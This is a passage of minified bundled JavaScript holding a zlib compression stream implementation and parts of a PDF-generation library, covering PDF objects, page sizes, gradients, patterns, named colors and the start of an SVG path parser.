P._processChunk(L,X)}function j(P){if(!(this instanceof j))return new j(P);M.call(this,P,n.DEFLATE)}function E(P){if(!(this instanceof E))return new E(P);M.call(this,P,n.INFLATE)}function S(P){if(!(this instanceof S))return new S(P);M.call(this,P,n.GZIP)}function _(P){if(!(this instanceof _))return new _(P);M.call(this,P,n.GUNZIP)}function C(P){if(!(this instanceof C))return new C(P);M.call(this,P,n.DEFLATERAW)}function Q(P){if(!(this instanceof Q))return new Q(P);M.call(this,P,n.INFLATERAW)}function R(P){if(!(this instanceof R))return new R(P);M.call(this,P,n.UNZIP)}function T(P){return P===n.Z_NO_FLUSH||P===n.Z_PARTIAL_FLUSH||P===n.Z_SYNC_FLUSH||P===n.Z_FULL_FLUSH||P===n.Z_FINISH||P===n.Z_BLOCK}function M(P,L){var X=this;if(this._opts=P=P||{},this._chunkSize=P.chunkSize||e.Z_DEFAULT_CHUNK,r.call(this,P),P.flush&amp;&amp;!T(P.flush))throw new Error(&quot;Invalid flush flag: &quot;+P.flush);if(P.finishFlush&amp;&amp;!T(P.finishFlush))throw new Error(&quot;Invalid flush flag: &quot;+P.finishFlush);if(this._flushFlag=P.flush||n.Z_NO_FLUSH,this._finishFlushFlag=typeof P.finishFlush&lt;&quot;u&quot;?P.finishFlush:n.Z_FINISH,P.chunkSize&amp;&amp;(P.chunkSize&lt;e.Z_MIN_CHUNK||P.chunkSize&gt;e.Z_MAX_CHUNK))throw new Error(&quot;Invalid chunk size: &quot;+P.chunkSize);if(P.windowBits&amp;&amp;(P.windowBits&lt;e.Z_MIN_WINDOWBITS||P.windowBits&gt;e.Z_MAX_WINDOWBITS))throw new Error(&quot;Invalid windowBits: &quot;+P.windowBits);if(P.level&amp;&amp;(P.level&lt;e.Z_MIN_LEVEL||P.level&gt;e.Z_MAX_LEVEL))throw new Error(&quot;Invalid compression level: &quot;+P.level);if(P.memLevel&amp;&amp;(P.memLevel&lt;e.Z_MIN_MEMLEVEL||P.memLevel&gt;e.Z_MAX_MEMLEVEL))throw new Error(&quot;Invalid memLevel: &quot;+P.memLevel);if(P.strategy&amp;&amp;P.strategy!=e.Z_FILTERED&amp;&amp;P.strategy!=e.Z_HUFFMAN_ONLY&amp;&amp;P.strategy!=e.Z_RLE&amp;&amp;P.strategy!=e.Z_FIXED&amp;&amp;P.strategy!=e.Z_DEFAULT_STRATEGY)throw new Error(&quot;Invalid strategy: &quot;+P.strategy);if(P.dictionary&amp;&amp;!t.isBuffer(P.dictionary))throw new Error(&quot;Invalid dictionary: it should be a Buffer instance&quot;);this._handle=new n.Zlib(L);var W=this;this._hadError=!1,this._handle.onerror=function(q,ee){O(W),W._hadError=!0;var ne=new Error(q);ne.errno=ee,ne.code=e.codes[ee],W.emit(&quot;error&quot;,ne)};var G=e.Z_DEFAULT_COMPRESSION;typeof P.level==&quot;number&quot;&amp;&amp;(G=P.level);var J=e.Z_DEFAULT_STRATEGY;typeof P.strategy==&quot;number&quot;&amp;&amp;(J=P.strategy),this._handle.init(P.windowBits||e.Z_DEFAULT_WINDOWBITS,G,P.memLevel||e.Z_DEFAULT_MEMLEVEL,J,P.dictionary),this._buffer=t.allocUnsafe(this._chunkSize),this._offset=0,this._level=G,this._strategy=J,this.once(&quot;end&quot;,this.close),Object.defineProperty(this,&quot;_closed&quot;,{get:function(){return!X._handle},configurable:!0,enumerable:!0})}i.inherits(M,r),M.prototype.params=function(P,L,X){if(P&lt;e.Z_MIN_LEVEL||P&gt;e.Z_MAX_LEVEL)throw new RangeError(&quot;Invalid compression level: &quot;+P);if(L!=e.Z_FILTERED&amp;&amp;L!=e.Z_HUFFMAN_ONLY&amp;&amp;L!=e.Z_RLE&amp;&amp;L!=e.Z_FIXED&amp;&amp;L!=e.Z_DEFAULT_STRATEGY)throw new TypeError(&quot;Invalid strategy: &quot;+L);if(this._level!==P||this._strategy!==L){var W=this;this.flush(n.Z_SYNC_FLUSH,function(){s(W._handle,&quot;zlib binding closed&quot;),W._handle.params(P,L),W._hadError||(W._level=P,W._strategy=L,X&amp;&amp;X())})}else Wn.nextTick(X)},M.prototype.reset=function(){return s(this._handle,&quot;zlib binding closed&quot;),this._handle.reset()},M.prototype._flush=function(P){this._transform(t.alloc(0),&quot;&quot;,P)},M.prototype.flush=function(P,L){var X=this,W=this._writableState;(typeof P==&quot;function&quot;||P===void 0&amp;&amp;!L)&amp;&amp;(L=P,P=n.Z_FULL_FLUSH),W.ended?L&amp;&amp;Wn.nextTick(L):W.ending?L&amp;&amp;this.once(&quot;end&quot;,L):W.needDrain?L&amp;&amp;this.once(&quot;drain&quot;,function(){return X.flush(P,L)}):(this._flushFlag=P,this.write(t.alloc(0),&quot;&quot;,L))},M.prototype.close=function(P){O(this,P),Wn.nextTick($,this)};function O(P,L){L&amp;&amp;Wn.nextTick(L),P._handle&amp;&amp;(P._handle.close(),P._handle=null)}function $(P){P.emit(&quot;close&quot;)}M.prototype._transform=function(P,L,X){var W,G=this._writableState,J=G.ending||G.ended,q=J&amp;&amp;(!P||G.length===P.length);if(P!==null&amp;&amp;!t.isBuffer(P))return X(new Error(&quot;invalid input&quot;));if(!this._handle)return X(new Error(&quot;zlib binding closed&quot;));q?W=this._finishFlushFlag:(W=this._flushFlag,P.length&gt;=G.length&amp;&amp;(this._flushFlag=this._opts.flush||n.Z_NO_FLUSH)),this._processChunk(P,W,X)},M.prototype._processChunk=function(P,L,X){var W=P&amp;&amp;P.length,G=this._chunkSize-this._offset,J=0,q=this,ee=typeof X==&quot;function&quot;;if(!ee){var ne=[],V=0,ue;this.on(&quot;error&quot;,function(we){ue=we}),s(this._handle,&quot;zlib binding closed&quot;);do var de=this._handle.writeSync(L,P,J,W,this._buffer,this._offset,G);while(!this._hadError&amp;&amp;Ce(de[0],de[1]));if(this._hadError)throw ue;if(V&gt;=o)throw O(this),new RangeError(l);var xe=t.concat(ne,V);return O(this),xe}s(this._handle,&quot;zlib binding closed&quot;);var _e=this._handle.write(L,P,J,W,this._buffer,this._offset,G);_e.buffer=P,_e.callback=Ce;function Ce(we,ve){if(this&amp;&amp;(this.buffer=null,this.callback=null),!q._hadError){var Ne=G-ve;if(s(Ne&gt;=0,&quot;have should not go down&quot;),Ne&gt;0){var Ie=q._buffer.slice(q._offset,q._offset+Ne);q._offset+=Ne,ee?q.push(Ie):(ne.push(Ie),V+=Ie.length)}if((ve===0||q._offset&gt;=q._chunkSize)&amp;&amp;(G=q._chunkSize,q._offset=0,q._buffer=t.allocUnsafe(q._chunkSize)),ve===0){if(J+=W-we,W=we,!ee)return!0;var be=q._handle.write(L,P,J,W,q._buffer,q._offset,q._chunkSize);be.callback=Ce,be.buffer=P;return}if(!ee)return!1;X()}}},i.inherits(j,M),i.inherits(E,M),i.inherits(S,M),i.inherits(_,M),i.inherits(C,M),i.inherits(Q,M),i.inherits(R,M)})(VV);var Mx=oV(VV);class rW extends GV.Writable{constructor(t,r,n){super({decodeStrings:!1}),this.finalize=this.finalize.bind(this),this.document=t,this.id=r,n==null&amp;&amp;(n={}),this.data=n,this.gen=0,this.deflate=null,this.compress=this.document.compress&amp;&amp;!this.data.Filter,this.uncompressedLength=0,this.chunks=[]}initDeflate(){return this.data.Filter=&quot;FlateDecode&quot;,this.deflate=Mx.createDeflate(),this.deflate.on(&quot;data&quot;,t=&gt;(this.chunks.push(t),this.data.Length+=t.length)),this.deflate.on(&quot;end&quot;,this.finalize)}_write(t,r,n){return t instanceof Uint8Array||(t=kt.from(t+`
`,&quot;binary&quot;)),this.uncompressedLength+=t.length,this.data.Length==null&amp;&amp;(this.data.Length=0),this.compress?(this.deflate||this.initDeflate(),this.deflate.write(t)):(this.chunks.push(t),this.data.Length+=t.length),n()}end(){return super.end(...arguments),this.deflate?this.deflate.end():this.finalize()}finalize(){if(this.offset=this.document._offset,this.document._write(`${this.id} ${this.gen} obj`),this.document._write(uu.convert(this.data)),this.chunks.length){this.document._write(&quot;stream&quot;);for(let t of Array.from(this.chunks))this.document._write(t);this.chunks.length=0,this.document._write(`
endstream`)}return this.document._write(&quot;endobj&quot;),this.document._refEnd(this)}toString(){return`${this.id} ${this.gen} R`}}class nW{constructor(t){t===void 0&amp;&amp;(t={}),this._items={},this.limits=typeof t.limits==&quot;boolean&quot;?t.limits:!0}add(t,r){return this._items[t]=r}get(t){return this._items[t]}toString(){const t=Object.keys(this._items).sort((n,i)=&gt;this._compareKeys(n,i)),r=[&quot;&lt;&lt;&quot;];if(this.limits&amp;&amp;t.length&gt;1){const n=t[0],i=t[t.length-1];r.push(`  /Limits ${uu.convert([this._dataForKey(n),this._dataForKey(i)])}`)}r.push(`  /${this._keysName()} [`);for(let n of t)r.push(`    ${uu.convert(this._dataForKey(n))} ${uu.convert(this._items[n])}`);return r.push(&quot;]&quot;),r.push(&quot;&gt;&gt;&quot;),r.join(`
`)}_compareKeys(){throw new Error(&quot;Must be implemented by subclasses&quot;)}_keysName(){throw new Error(&quot;Must be implemented by subclasses&quot;)}_dataForKey(){throw new Error(&quot;Must be implemented by subclasses&quot;)}}class V5 extends nW{_compareKeys(t,r){return t.localeCompare(r)}_keysName(){return&quot;Names&quot;}_dataForKey(t){return new String(t)}}const NA=(e,t)=&gt;(Array(t+1).join(&quot;0&quot;)+e).slice(-t),wNe=/[\n\r\t\b\f()\\]/g,ENe={&quot;\n&quot;:&quot;\\n&quot;,&quot;\r&quot;:&quot;\\r&quot;,&quot;	&quot;:&quot;\\t&quot;,&quot;\b&quot;:&quot;\\b&quot;,&quot;\f&quot;:&quot;\\f&quot;,&quot;\\&quot;:&quot;\\\\&quot;,&quot;(&quot;:&quot;\\(&quot;,&quot;)&quot;:&quot;\\)&quot;},CNe=function(e){const t=e.length;if(t&amp;1)throw new Error(&quot;Buffer length must be even&quot;);for(let r=0,n=t-1;r&lt;n;r+=2){const i=e[r];e[r]=e[r+1],e[r+1]=i}return e};class uu{static convert(t){if(typeof t==&quot;string&quot;)return`/${t}`;if(t instanceof String){let r=t,n=!1;for(let i=0,s=r.length;i&lt;s;i++)if(r.charCodeAt(i)&gt;127){n=!0;break}return n&amp;&amp;(r=CNe(kt.from(`\uFEFF${r}`,&quot;utf16le&quot;)).toString(&quot;binary&quot;)),r=r.replace(wNe,i=&gt;ENe[i]),`(${r})`}if(kt.isBuffer(t))return`&lt;${t.toString(&quot;hex&quot;)}&gt;`;if(t instanceof rW||t instanceof V5)return t.toString();if(t instanceof Date)return`(D:${NA(t.getUTCFullYear(),4)}`+NA(t.getUTCMonth()+1,2)+NA(t.getUTCDate(),2)+NA(t.getUTCHours(),2)+NA(t.getUTCMinutes(),2)+NA(t.getUTCSeconds(),2)+&quot;Z)&quot;;if(Array.isArray(t))return`[${Array.from(t).map(n=&gt;uu.convert(n)).join(&quot; &quot;)}]`;if({}.toString.call(t)===&quot;[object Object]&quot;){const r=[&quot;&lt;&lt;&quot;];for(let n in t){const i=t[n];r.push(`/${n} ${uu.convert(i)}`)}return r.push(&quot;&gt;&gt;&quot;),r.join(`
`)}return typeof t==&quot;number&quot;?uu.number(t):`${t}`}static number(t){if(t&gt;-1e21&amp;&amp;t&lt;1e21)return Math.round(t*1e6)/1e6;throw new Error(`unsupported number: ${t}`)}}const INe={top:72,left:72,bottom:72,right:72},jNe={&quot;4A0&quot;:[4767.87,6740.79],&quot;2A0&quot;:[3370.39,4767.87],A0:[2383.94,3370.39],A1:[1683.78,2383.94],A2:[1190.55,1683.78],A3:[841.89,1190.55],A4:[595.28,841.89],A5:[419.53,595.28],A6:[297.64,419.53],A7:[209.76,297.64],A8:[147.4,209.76],A9:[104.88,147.4],A10:[73.7,104.88],B0:[2834.65,4008.19],B1:[2004.09,2834.65],B2:[1417.32,2004.09],B3:[1000.63,1417.32],B4:[708.66,1000.63],B5:[498.9,708.66],B6:[354.33,498.9],B7:[249.45,354.33],B8:[175.75,249.45],B9:[124.72,175.75],B10:[87.87,124.72],C0:[2599.37,3676.54],C1:[1836.85,2599.37],C2:[1298.27,1836.85],C3:[918.43,1298.27],C4:[649.13,918.43],C5:[459.21,649.13],C6:[323.15,459.21],C7:[229.61,323.15],C8:[161.57,229.61],C9:[113.39,161.57],C10:[79.37,113.39],RA0:[2437.8,3458.27],RA1:[1729.13,2437.8],RA2:[1218.9,1729.13],RA3:[864.57,1218.9],RA4:[609.45,864.57],SRA0:[2551.18,3628.35],SRA1:[1814.17,2551.18],SRA2:[1275.59,1814.17],SRA3:[907.09,1275.59],SRA4:[637.8,907.09],EXECUTIVE:[521.86,756],FOLIO:[612,936],LEGAL:[612,1008],LETTER:[612,792],TABLOID:[792,1224]};class NNe{constructor(t,r){r===void 0&amp;&amp;(r={}),this.document=t,this._options=r,this.size=r.size||&quot;letter&quot;,this.layout=r.layout||&quot;portrait&quot;,this.userUnit=r.userUnit||1,typeof r.margin==&quot;number&quot;?this.margins={top:r.margin,left:r.margin,bottom:r.margin,right:r.margin}:this.margins=r.margins||INe;const n=Array.isArray(this.size)?this.size:jNe[this.size.toUpperCase()];this.width=n[this.layout===&quot;portrait&quot;?0:1],this.height=n[this.layout===&quot;portrait&quot;?1:0],this.content=this.document.ref(),r.font&amp;&amp;t.font(r.font,r.fontFamily),r.fontSize&amp;&amp;t.fontSize(r.fontSize),this.resources=this.document.ref({ProcSet:[&quot;PDF&quot;,&quot;Text&quot;,&quot;ImageB&quot;,&quot;ImageC&quot;,&quot;ImageI&quot;]}),this.dictionary=this.document.ref({Type:&quot;Page&quot;,Parent:this.document._root.data.Pages,MediaBox:[0,0,this.width,this.height],Contents:this.content,Resources:this.resources,UserUnit:this.userUnit}),this.markings=[]}get fonts(){const t=this.resources.data;return t.Font!=null?t.Font:t.Font={}}get xobjects(){const t=this.resources.data;return t.XObject!=null?t.XObject:t.XObject={}}get ext_gstates(){const t=this.resources.data;return t.ExtGState!=null?t.ExtGState:t.ExtGState={}}get patterns(){const t=this.resources.data;return t.Pattern!=null?t.Pattern:t.Pattern={}}get colorSpaces(){const t=this.resources.data;return t.ColorSpace||(t.ColorSpace={})}get annotations(){const t=this.dictionary.data;return t.Annots!=null?t.Annots:t.Annots=[]}get structParentTreeKey(){const t=this.dictionary.data;return t.StructParents!=null?t.StructParents:t.StructParents=this.document.createStructParentTreeNextKey()}maxY(){return this.height-this.margins.bottom}write(t){return this.content.write(t)}_setTabOrder(){!this.dictionary.Tabs&amp;&amp;this.document.hasMarkInfoDictionary()&amp;&amp;(this.dictionary.data.Tabs=&quot;S&quot;)}end(){this._setTabOrder(),this.dictionary.end(),this.resources.data.ColorSpace=this.resources.data.ColorSpace||{};for(let t of Object.values(this.document.spotColors))this.resources.data.ColorSpace[t.id]=t;return this.resources.end(),this.content.end()}}const SNe=e=&gt;{const t=[];for(let r=0;r&lt;e.sigBytes;r++)t.push(e.words[Math.floor(r/4)]&gt;&gt;8*(3-r%4)&amp;255);return kt.from(t)};class BNe{static generateFileID(t){t===void 0&amp;&amp;(t={});let r=`${t.CreationDate.getTime()}
`;for(let n in t)t.hasOwnProperty(n)&amp;&amp;(r+=`${n}: ${t[n].valueOf()}
`);return SNe(mbe(r))}}const{number:kNe}=uu;let a8=class{constructor(t){this.doc=t,this.stops=[],this.embedded=!1,this.transform=[1,0,0,1,0,0]}stop(t,r,n){if(n==null&amp;&amp;(n=1),r=this.doc._normalizeColor(r),this.stops.length===0)if(r.length===3)this._colorSpace=&quot;DeviceRGB&quot;;else if(r.length===4)this._colorSpace=&quot;DeviceCMYK&quot;;else if(r.length===1)this._colorSpace=&quot;DeviceGray&quot;;else throw new Error(&quot;Unknown color space&quot;);else if(this._colorSpace===&quot;DeviceRGB&quot;&amp;&amp;r.length!==3||this._colorSpace===&quot;DeviceCMYK&quot;&amp;&amp;r.length!==4||this._colorSpace===&quot;DeviceGray&quot;&amp;&amp;r.length!==1)throw new Error(&quot;All gradient stops must use the same color space&quot;);return n=Math.max(0,Math.min(1,n)),this.stops.push([t,r,n]),this}setTransform(t,r,n,i,s,o){return this.transform=[t,r,n,i,s,o],this}embed(t){let r;const n=this.stops.length;if(n===0)return;this.embedded=!0,this.matrix=t;const i=this.stops[n-1];i[0]&lt;1&amp;&amp;this.stops.push([1,i[1],i[2]]);const s=[],o=[],l=[];for(let u=0;u&lt;n-1;u++)o.push(0,1),u+2!==n&amp;&amp;s.push(this.stops[u+1][0]),r=this.doc.ref({FunctionType:2,Domain:[0,1],C0:this.stops[u+0][1],C1:this.stops[u+1][1],N:1}),l.push(r),r.end();n===1?r=l[0]:(r=this.doc.ref({FunctionType:3,Domain:[0,1],Functions:l,Bounds:s,Encode:o}),r.end()),this.id=`Sh${++this.doc._gradCount}`;const c=this.shader(r);c.end();const d=this.doc.ref({Type:&quot;Pattern&quot;,PatternType:2,Shading:c,Matrix:this.matrix.map(kNe)});if(d.end(),this.stops.some(u=&gt;u[2]&lt;1)){let u=this.opacityGradient();u._colorSpace=&quot;DeviceGray&quot;;for(let v of this.stops)u.stop(v[0],[v[2]]);u=u.embed(this.matrix);const h=[0,0,this.doc.page.width,this.doc.page.height],p=this.doc.ref({Type:&quot;XObject&quot;,Subtype:&quot;Form&quot;,FormType:1,BBox:h,Group:{Type:&quot;Group&quot;,S:&quot;Transparency&quot;,CS:&quot;DeviceGray&quot;},Resources:{ProcSet:[&quot;PDF&quot;,&quot;Text&quot;,&quot;ImageB&quot;,&quot;ImageC&quot;,&quot;ImageI&quot;],Pattern:{Sh1:u}}});p.write(&quot;/Pattern cs /Sh1 scn&quot;),p.end(`${h.join(&quot; &quot;)} re f`);const A=this.doc.ref({Type:&quot;ExtGState&quot;,SMask:{Type:&quot;Mask&quot;,S:&quot;Luminosity&quot;,G:p}});A.end();const y=this.doc.ref({Type:&quot;Pattern&quot;,PatternType:1,PaintType:1,TilingType:2,BBox:h,XStep:h[2],YStep:h[3],Resources:{ProcSet:[&quot;PDF&quot;,&quot;Text&quot;,&quot;ImageB&quot;,&quot;ImageC&quot;,&quot;ImageI&quot;],Pattern:{Sh1:d},ExtGState:{Gs1:A}}});y.write(&quot;/Gs1 gs /Pattern cs /Sh1 scn&quot;),y.end(`${h.join(&quot; &quot;)} re f`),this.doc.page.patterns[this.id]=y}else this.doc.page.patterns[this.id]=d;return d}apply(t){const[r,n,i,s,o,l]=this.doc._ctm,[c,d,u,h,p,A]=this.transform,y=[r*c+i*d,n*c+s*d,r*u+i*h,n*u+s*h,r*p+i*A+o,n*p+s*A+l];(!this.embedded||y.join(&quot; &quot;)!==this.matrix.join(&quot; &quot;))&amp;&amp;this.embed(y),this.doc._setColorSpace(&quot;Pattern&quot;,t);const v=t?&quot;SCN&quot;:&quot;scn&quot;;return this.doc.addContent(`/${this.id} ${v}`)}},_Ne=class iW extends a8{constructor(t,r,n,i,s){super(t),this.x1=r,this.y1=n,this.x2=i,this.y2=s}shader(t){return this.doc.ref({ShadingType:2,ColorSpace:this._colorSpace,Coords:[this.x1,this.y1,this.x2,this.y2],Function:t,Extend:[!0,!0]})}opacityGradient(){return new iW(this.doc,this.x1,this.y1,this.x2,this.y2)}},DNe=class aW extends a8{constructor(t,r,n,i,s,o,l){super(t),this.doc=t,this.x1=r,this.y1=n,this.r1=i,this.x2=s,this.y2=o,this.r2=l}shader(t){return this.doc.ref({ShadingType:3,ColorSpace:this._colorSpace,Coords:[this.x1,this.y1,this.r1,this.x2,this.y2,this.r2],Function:t,Extend:[!0,!0]})}opacityGradient(){return new aW(this.doc,this.x1,this.y1,this.r1,this.x2,this.y2,this.r2)}};var TNe={PDFGradient:a8,PDFLinearGradient:_Ne,PDFRadialGradient:DNe};const RNe=[&quot;DeviceCMYK&quot;,&quot;DeviceRGB&quot;];let PNe=class{constructor(t,r,n,i,s){this.doc=t,this.bBox=r,this.xStep=n,this.yStep=i,this.stream=s}createPattern(){const t=this.doc.ref();t.end();const[r,n,i,s,o,l]=this.doc._ctm,[c,d,u,h,p,A]=[1,0,0,1,0,0],y=[r*c+i*d,n*c+s*d,r*u+i*h,n*u+s*h,r*p+i*A+o,n*p+s*A+l],v=this.doc.ref({Type:&quot;Pattern&quot;,PatternType:1,PaintType:2,TilingType:2,BBox:this.bBox,XStep:this.xStep,YStep:this.yStep,Matrix:y.map(w=&gt;+w.toFixed(5)),Resources:t});return v.end(this.stream),v}embedPatternColorSpaces(){RNe.forEach(t=&gt;{const r=this.getPatternColorSpaceId(t);if(this.doc.page.colorSpaces[r])return;const n=this.doc.ref([&quot;Pattern&quot;,t]);n.end(),this.doc.page.colorSpaces[r]=n})}getPatternColorSpaceId(t){return`CsP${t}`}embed(){this.id||(this.doc._patternCount=this.doc._patternCount+1,this.id=&quot;P&quot;+this.doc._patternCount,this.pattern=this.createPattern()),this.doc.page.patterns[this.id]||(this.doc.page.patterns[this.id]=this.pattern)}apply(t,r){this.embedPatternColorSpaces(),this.embed();const n=this.doc._normalizeColor(r);if(!n)throw Error(`invalid pattern color. (value: ${r})`);const i=this.getPatternColorSpaceId(this.doc._getColorSpace(n));this.doc._setColorSpace(i,t);const s=t?&quot;SCN&quot;:&quot;scn&quot;;return this.doc.addContent(`${n.join(&quot; &quot;)} /${this.id} ${s}`)}};var QNe={PDFTilingPattern:PNe};class Xj{constructor(t,r,n,i,s,o){this.id=&quot;CS&quot;+Object.keys(t.spotColors).length,this.name=r,this.values=[n,i,s,o],this.ref=t.ref([&quot;Separation&quot;,this.name,&quot;DeviceCMYK&quot;,{Range:[0,1,0,1,0,1,0,1],C0:[0,0,0,0],C1:this.values.map(l=&gt;l/100),FunctionType:2,Domain:[0,1],N:1}]),this.ref.end()}toString(){return`${this.ref.id} 0 R`}}const{PDFGradient:FNe,PDFLinearGradient:ONe,PDFRadialGradient:LNe}=TNe,{PDFTilingPattern:FP}=QNe;var MNe={initColor(){return this.spotColors={},this._opacityRegistry={},this._opacityCount=0,this._patternCount=0,this._gradCount=0},_normalizeColor(e){if(typeof e==&quot;string&quot;){if(e.charAt(0)===&quot;#&quot;){e.length===4&amp;&amp;(e=e.replace(/#([0-9A-F])([0-9A-F])([0-9A-F])/i,&quot;#$1$1$2$2$3$3&quot;));const t=parseInt(e.slice(1),16);e=[t&gt;&gt;16,t&gt;&gt;8&amp;255,t&amp;255]}else if(OP[e])e=OP[e];else if(this.spotColors[e])return this.spotColors[e]}return Array.isArray(e)?(e.length===3?e=e.map(t=&gt;t/255):e.length===4&amp;&amp;(e=e.map(t=&gt;t/100)),e):null},_setColor(e,t){return e instanceof FNe?(e.apply(t),!0):Array.isArray(e)&amp;&amp;e[0]instanceof FP?(e[0].apply(t,e[1]),!0):this._setColorCore(e,t)},_setColorCore(e,t){if(e=this._normalizeColor(e),!e)return!1;const r=t?&quot;SCN&quot;:&quot;scn&quot;,n=this._getColorSpace(e);return this._setColorSpace(n,t),e instanceof Xj?(this.page.colorSpaces[e.id]=e.ref,this.addContent(`1 ${r}`)):this.addContent(`${e.join(&quot; &quot;)} ${r}`),!0},_setColorSpace(e,t){const r=t?&quot;CS&quot;:&quot;cs&quot;;return this.addContent(`/${e} ${r}`)},_getColorSpace(e){return e instanceof Xj?e.id:e.length===4?&quot;DeviceCMYK&quot;:&quot;DeviceRGB&quot;},fillColor(e,t){return this._setColor(e,!1)&amp;&amp;this.fillOpacity(t),this._fillColor=[e,t],this},strokeColor(e,t){return this._setColor(e,!0)&amp;&amp;this.strokeOpacity(t),this},opacity(e){return this._doOpacity(e,e),this},fillOpacity(e){return this._doOpacity(e,null),this},strokeOpacity(e){return this._doOpacity(null,e),this},_doOpacity(e,t){let r,n;if(e==null&amp;&amp;t==null)return;e!=null&amp;&amp;(e=Math.max(0,Math.min(1,e))),t!=null&amp;&amp;(t=Math.max(0,Math.min(1,t)));const i=`${e}_${t}`;return this._opacityRegistry[i]?[r,n]=this._opacityRegistry[i]:(r={Type:&quot;ExtGState&quot;},e!=null&amp;&amp;(r.ca=e),t!=null&amp;&amp;(r.CA=t),r=this.ref(r),r.end(),n=`Gs${++this._opacityCount}`,this._opacityRegistry[i]=[r,n]),this.page.ext_gstates[n]=r,this.addContent(`/${n} gs`)},linearGradient(e,t,r,n){return new ONe(this,e,t,r,n)},radialGradient(e,t,r,n,i,s){return new LNe(this,e,t,r,n,i,s)},pattern(e,t,r,n){return new FP(this,e,t,r,n)},addSpotColor(e,t,r,n,i){const s=new Xj(this,e,t,r,n,i);return this.spotColors[e]=s,this}},OP={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],grey:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]};let zr,$r,Jn,Ii,MA,UA;zr=$r=Jn=Ii=MA=UA=0;const sW={M:2,m:2,Z:0,z:0,L:2,l:2,H:1,h:1,V:1,v:1,C:6,c:6,S:4,s:4,Q:4,q:4,T:2,t:2,A:7,a:7},UNe=e=&gt;e in sW,zNe=e=&gt;{const t=e.codePointAt(0);return t===32||t===9||t===13||t===10},$Ne=e=&gt;{const t=e.codePointAt(0);return t==null?!1:48&lt;=t&amp;&amp;t&lt;=57},e3=(e,t)=&gt;{let r=t,n=&quot;&quot;,i=&quot;none&quot;;for(;r&lt;e.length;r+=1){const o=e[r];if(o===&quot;+&quot;||o===&quot;-&quot;){if(i===&quot;none&quot;){i=&quot;sign&quot;,n+=o;continue}if(i===&quot;e&quot;){i=&quot;exponent_sign&quot;,n+=o;continue}}if($Ne(o)){if(i===&quot;none&quot;||i===&quot;sign&quot;||i===&quot;whole&quot;){i=&quot;whole&quot;,n+=o;continue}if(i===&quot;decimal_point&quot;||i===&quot;decimal&quot;){i=&quot;decimal&quot;,n+=o;continue}if(i===&quot;e&quot;||i===&quot;exponent_sign&quot;||i===&quot;exponent&quot;){i=&quot;exponent&quot;,n+=o;continue}}if(o===&quot;.&quot;&amp;&amp;(i===&quot;none&quot;||i===&quot;sign&quot;||i===&quot;whole&quot;)){i=&quot;decimal_point&quot;,n+=o;continue}if((o===&quot;E&quot;||o===&quot;e&quot;)&amp;&amp;(i===&quot;whole&quot;||i===&quot;decimal_point&quot;||i===&quot;decimal&quot;)){i=&quot;e&quot;,n+=o;continue}break}const s=Number.parseFloat(n);return Number.isNaN(s)?[t,null]:[r-1,s]},HNe=e=&gt;{const t=[];let r=null,n=[],i=0,s=!1,o=!1;for(let l=0;l&lt;e.length;l+=1){const 